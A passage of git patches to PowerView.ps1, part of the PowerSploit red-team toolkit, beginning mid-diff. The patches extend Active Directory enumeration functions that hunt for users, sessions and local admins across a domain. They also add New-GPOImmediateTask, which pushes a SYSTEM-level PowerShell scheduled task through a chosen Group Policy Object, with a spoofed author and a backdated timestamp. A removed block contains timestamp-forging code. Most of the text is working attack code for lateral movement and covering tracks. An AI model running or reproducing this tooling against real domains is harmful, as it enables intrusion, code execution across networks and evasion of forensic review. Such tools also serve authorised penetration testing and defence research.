http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx $Err = $Kernel32::GetLastError() - Write-Verbuse "LastError: $Err" + Write-Verbose "LastError: $Err" } } @@ -8580,7 +8689,7 @@ function Invoke-UserHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9036,7 +9145,7 @@ function Invoke-ProcessHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9367,7 +9476,7 @@ function Invoke-EventHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9684,7 +9793,7 @@ function Invoke-ShareFinder { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -10164,10 +10273,10 @@ function Invoke-FileFinder { # kick off the threaded script block + arguments if($Shares) { # pass the shares as the hosts so the threaded function code doesn't have to be hacked up - Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } @@ -10416,7 +10525,7 @@ function Find-LocalAdminAccess { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -10848,6 +10957,11 @@ function Invoke-EnumerateLocalAdmin { Switch. Search all domains in the forest for target users instead of just a single domain. + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + .PARAMETER Threads The maximum concurrent threads to execute. @@ -10917,7 +11031,10 @@ function Invoke-EnumerateLocalAdmin { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Switch] + $API ) begin { @@ -10986,7 +11103,7 @@ function Invoke-EnumerateLocalAdmin { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API) # optionally check if the server is up first $Up = $True @@ -10995,7 +11112,12 @@ function Invoke-EnumerateLocalAdmin { } if($Up) { # grab the users for the local admins on this server - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + if($API) { + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API + } + else { + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + } # if we just want to return cross-trust users if($DomainSID -and $TrustGroupSIDS) { @@ -11038,8 +11160,12 @@ function Invoke-EnumerateLocalAdmin { 'TrustGroupsSIDs' = $TrustGroupsSIDs } - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + # kick off the threaded script block + arguments + if($API) { + $ScriptParams['API'] = $True + } + + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -11058,9 +11184,14 @@ function Invoke-EnumerateLocalAdmin { # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + + if($API) { + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $True + } + else { + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } } } } @@ -11512,6 +11643,7 @@ function Find-ForeignGroup { } } + function Find-ManagedSecurityGroups { <# .SYNOPSIS @@ -11577,13 +11709,11 @@ function Find-ManagedSecurityGroups { if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { $results_object.CanManagerWrite = $TRUE } - $results_object - } - } + function Invoke-MapDomainTrust { <# .SYNOPSIS @@ -11720,11 +11850,13 @@ $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), @@ -11787,10 +11919,29 @@ $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ sesi10_idle_time = field 3 UInt32 } +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] - -- cgit v1.2.3 From 1c664758ce321a94c5f7cd2b33bbdd602b36658f Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:20:26 -0500 Subject: renamed output field for Get-NetLocalGroup API --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 7d6f819..994b9a7 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6708,7 +6708,7 @@ function Get-NetLocalGroup { else { $LocalUser = New-Object PSObject $LocalUser | Add-Member Noteproperty 'ComputerName' $Server - $LocalUser | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString $LocalUser | Add-Member Noteproperty 'SidType' $Info.lgrmi2_sidusage -- cgit v1.2.3 From c883dabf7780f5b8b3cc1bea1f9b163983174838 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:50:24 -0500 Subject: Added -DomainOnly flag to Invoke-EnumerateLocalAdmin --- Recon/PowerView.ps1 | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 994b9a7..e657c5d 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6710,7 +6710,9 @@ function Get-NetLocalGroup { $LocalUser | Add-Member Noteproperty 'ComputerName' $Server $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString - $LocalUser | Add-Member Noteproperty 'SidType' $Info.lgrmi2_sidusage + + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup $Offset = $NewIntPtr.ToInt64() $Offset += $Increment @@ -10943,6 +10945,10 @@ function Invoke-EnumerateLocalAdmin { Switch. Only return results that are not part of the local machine or the machine's domain. Old Invoke-EnumerateLocalTrustGroup functionality. + + .PARAMETER DomainOnly + + Switch. Only return domain (non-local) results .PARAMETER Domain @@ -11020,6 +11026,9 @@ function Invoke-EnumerateLocalAdmin { [Switch] $TrustGroups, + [Switch] + $DomainOnly, + [String] $Domain, @@ -11103,7 +11112,7 @@ function Invoke-EnumerateLocalAdmin { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API) + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) # optionally check if the server is up first $Up = $True @@ -11130,6 +11139,11 @@ function Invoke-EnumerateLocalAdmin { } if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { + + if($DomainOnly) { + $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} + } + # output the results to a csv if specified if($OutFile) { $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile @@ -11144,7 +11158,6 @@ function Invoke-EnumerateLocalAdmin { } } } - } process { @@ -11164,6 +11177,10 @@ function Invoke-EnumerateLocalAdmin { if($API) { $ScriptParams['API'] = $True } + + if($DomainOnly) { + $ScriptParams['DomainOnly'] = $True + } Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } @@ -11186,12 +11203,9 @@ function Invoke-EnumerateLocalAdmin { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - if($API) { - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $True - } - else { - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs - } + $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs } } } -- cgit v1.2.3 From a87453eeca0b6f9c90b4d359d5848270c3ec29f5 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:53:30 -0500 Subject: DomainOnly tweak --- Recon/PowerView.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e657c5d..d7b6483 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11138,12 +11138,11 @@ function Invoke-EnumerateLocalAdmin { $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } } - if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { - - if($DomainOnly) { - $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} - } + if($DomainOnly) { + $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} + } + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { # output the results to a csv if specified if($OutFile) { $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile -- cgit v1.2.3 From e029509889b09f42ac22b6880e03cafe3ad3f4c1 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 19:17:25 -0500 Subject: Added New-GPOImmediateTask --- Recon/PowerView.ps1 | 232 +++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 220 insertions(+), 12 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d7b6483..e486046 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5455,12 +5455,7 @@ function Get-GptTmpl { Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" try { - if($Credential) { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - else { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { Write-Debug "Error mounting path $GptTmplPath : $_" @@ -5568,12 +5563,7 @@ function Get-GroupsXML { Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" try { - if($Credential) { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - else { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { Write-Debug "Error mounting path $GroupsXMLPath : $_" @@ -5763,6 +5753,224 @@ function Get-NetGPO { } +function New-GPOImmediateTask { +<# + .SYNOPSIS + + Builds an 'Immediate' schtask to push out through a specified GPO. + + .PARAMETER TaskName + + Name for the schtask to recreate. Required. + + .PARAMETER Command + + The command to execute with the task, defaults to 'powershell' + + .PARAMETER CommandArguments + + The arguments to supply to the -Command being launched. + + .PARAMETER TaskDescription + + An optional description for the task. + + .PARAMETER TaskAuthor + + The displayed author of the task, defaults to ''NT AUTHORITY\System' + + .PARAMETER TaskModifiedDate + + The displayed modified date for the task, defaults to 30 days ago. + + .PARAMETER GPOname + + The GPO name to build the task for. + + .PARAMETER GPODisplayName + + The GPO display name to to build the task for. + + .PARAMETER Domain + + The domain to query for the GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target. + + .EXAMPLE + + PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + + Create an immediate schtask that executes the specified PowerShell arguments and + push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. + + .EXAMPLE + + PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + + Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. +#> + [CmdletBinding(DefaultParameterSetName = 'Create')] + Param ( + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $TaskName, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $Command = 'powershell', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPOname, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPODisplayName, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $Domain, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $DomainController, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $ADSpath, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Force, + + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential + ) + + # build the XML spec for our 'immediate' scheduled task + $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' + + if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { + Write-Warning 'Either -GPOName or -GPODisplayName must be specified' + return + } + + # eunmerate the specified GPO(s) + $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential + + if(!$GPOs) { + Write-Warning 'No GPO found.' + return + } + + $GPOs | ForEach-Object { + $ProcessedGPOName = $_.Name + try { + Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + + # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( + if($Credential) { + Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" + $Path = $_.gpcfilesyspath.TrimEnd('\') + $Net = New-Object -ComObject WScript.Network + $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" + } + else { + $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" + } + + if($Remove) { + if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { + Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + } + + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + } + else { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + # create the folder if it doesn't exist + $Null = New-Item -ItemType Directory -Force -Path $TaskPath + + if(Test-Path "$TaskPath\ScheduledTasks.xml") { + Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" + } + + $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" + } + + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + catch { + Write-Warning "Error for GPO $ProcessedGPOName : $_" + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + } +} + + function Get-NetGPOGroup { <# .SYNOPSIS -- cgit v1.2.3 From 236b16430ced70342d969341b95f15530ae5d7fd Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 15:08:27 -0500 Subject: Removed Set-MacAttribute and Copy-ClonedFile Combined Convert-NT4toCanonical and Convert-DomainSimpletoNT4 into Convert-ADName --- Recon/PowerView.ps1 | 343 +++++++++++++++++----------------------------------- Recon/Recon.psd1 | 8 +- 2 files changed, 117 insertions(+), 234 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e486046..f01e265 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -759,154 +759,6 @@ filter Export-PowerViewCSV { } -# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html -function Set-MacAttribute { -<# - .SYNOPSIS - - Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. - - PowerSploit Function: Set-MacAttribute - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 1.0.0 - - .DESCRIPTION - - Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" - - .LINK - - http://www.obscuresec.com/2014/05/touch.html -#> - [CmdletBinding(DefaultParameterSetName = 'Touch')] - Param ( - - [Parameter(Position = 1,Mandatory = $True)] - [ValidateScript({Test-Path -Path $_ })] - [String] - $FilePath, - - [Parameter(ParameterSetName = 'Touch')] - [ValidateScript({Test-Path -Path $_ })] - [String] - $OldFilePath, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Modified, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Accessed, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Created, - - [Parameter(ParameterSetName = 'All')] - [DateTime] - $AllMacAttributes - ) - - #Helper function that returns an object with the MAC attributes of a file. - function Get-MacAttribute { - - param($OldFileName) - - if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} - $FileInfoObject = (Get-Item $OldFileName) - - $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); - 'Accessed' = ($FileInfoObject.LastAccessTime); - 'Created' = ($FileInfoObject.CreationTime)}; - $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties - Return $ResultObject - } - - $FileInfoObject = (Get-Item -Path $FilePath) - - if ($PSBoundParameters['AllMacAttributes']) { - $Modified = $AllMacAttributes - $Accessed = $AllMacAttributes - $Created = $AllMacAttributes - } - - if ($PSBoundParameters['OldFilePath']) { - $CopyFileMac = (Get-MacAttribute $OldFilePath) - $Modified = $CopyFileMac.Modified - $Accessed = $CopyFileMac.Accessed - $Created = $CopyFileMac.Created - } - - if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} - if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} - if ($Created) {$FileInfoObject.CreationTime = $Created} - - Return (Get-MacAttribute $FilePath) -} - - -function Copy-ClonedFile { -<# - .SYNOPSIS - - Copy a source file to a destination location, matching any MAC - properties as appropriate. - - .PARAMETER SourceFile - - Source file to copy. - - .PARAMETER DestFile - - Destination file path to copy file to. - - .EXAMPLE - - PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe - - Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. - - .LINK - - http://obscuresecurity.blogspot.com/2014/05/touch.html -#> - - param( - [Parameter(Mandatory = $True)] - [String] - [ValidateScript({Test-Path -Path $_ })] - $SourceFile, - - [Parameter(Mandatory = $True)] - [String] - [ValidateScript({Test-Path -Path $_ })] - $DestFile - ) - - # clone the MAC properties - Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile - - # copy the file off - Copy-Item -Path $SourceFile -Destination $DestFile -} - - filter Get-IPAddress { <# .SYNOPSIS @@ -1115,25 +967,40 @@ filter Convert-SidToName { } -filter Convert-NT4toCanonical { +filter Convert-ADName { <# .SYNOPSIS - Converts a user/group NT4 name (i.e. dev/john) to canonical format. + Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) + to canonical format (domain.com/Users/user) or NT4. Based on Bill Stewart's code from this article: http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats .PARAMETER ObjectName - The user/group name to convert, needs to be in 'DOMAIN\user' format. + The user/group name to convert. + + .PARAMETER InputType + + The InputType of the user/group name ("NT4","Simple","Canonical"). + + .PARAMETER OutputType + + The OutputType of the user/group name ("NT4","Simple","Canonical"). .EXAMPLE - PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" + PS C:\> Convert-ADName -ObjectName "dev\dfm" Returns "dev.testlab.local/Users/Dave" + .EXAMPLE + + PS C:\> Convert-SidToName "S-..." | Convert-ADName + + Returns the canonical name for the resolved SID. + .LINK http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats @@ -1142,14 +1009,59 @@ filter Convert-NT4toCanonical { param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] - $ObjectName + $ObjectName, + + [String] + [ValidateSet("NT4","Simple","Canonical")] + $InputType, + + [String] + [ValidateSet("NT4","Simple","Canonical")] + $OutputType ) - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, try to extract the domain - $Domain = $ObjectName.split("\")[0] + $NameTypes = @{ + "Canonical" = 2 + "NT4" = 3 + "Simple" = 5 + } + + if(!$PSBoundParameters['InputType']) { + if( ($ObjectName.split('/')).Count -eq 2 ) { + $ObjectName = $ObjectName.replace('/', '\') + } + + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { + $InputType = 'NT4' + } + elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { + $InputType = 'Simple' + } + elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { + $InputType = 'Canonical' + } + else { + Write-Warning "Can not identify InType for $ObjectName" + return $ObjectName + } + } + elseif($InputType -eq 'NT4') { + $ObjectName = $ObjectName.replace('/', '\') + } + + if(!$PSBoundParameters['OutputType']) { + $OutputType = Switch($InputType) { + 'NT4' {'Canonical'} + 'Simple' {'NT4'} + 'Canonical' {'NT4'} + } + } + + # try to extract the domain from the given format + $Domain = Switch($InputType) { + 'NT4' { $ObjectName.split("\")[0] } + 'Simple' { $ObjectName.split("@")[1] } + 'Canonical' { $ObjectName.split("/")[0] } } # Accessor functions to simplify calls to NameTranslate @@ -1167,78 +1079,17 @@ filter Convert-NT4toCanonical { Invoke-Method $Translate "Init" (1, $Domain) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + Write-Debug "Error with translate init in Convert-ADName: $_" } Set-Property $Translate "ChaseReferral" (0x60) try { - Invoke-Method $Translate "Set" (3, $ObjectName) - (Invoke-Method $Translate "Get" (2)) + Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) + (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" - } -} - - -filter Convert-CanonicaltoNT4 { -<# - .SYNOPSIS - - Converts a canonical user format to NT4 format. - - .PARAMETER ObjectName - - The canonical name of the object to convert. - - .EXAMPLE - - PS C:\> Convert-CanonicaltoNT4 -ObjectName "dev.testlab.local/Users/Dave" - - Returns - - .LINK - - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats -#> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - # [ValidatePattern('.+/.+')] - $ObjectName - ) - - $Domain = ($ObjectName -split "@")[1] - - $ObjectName = $ObjectName -replace "/","\" - - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { - $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) - if ( $output ) { $output } - } - function Set-Property([__ComObject] $object, [String] $property, $parameters) { - [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) - } - - 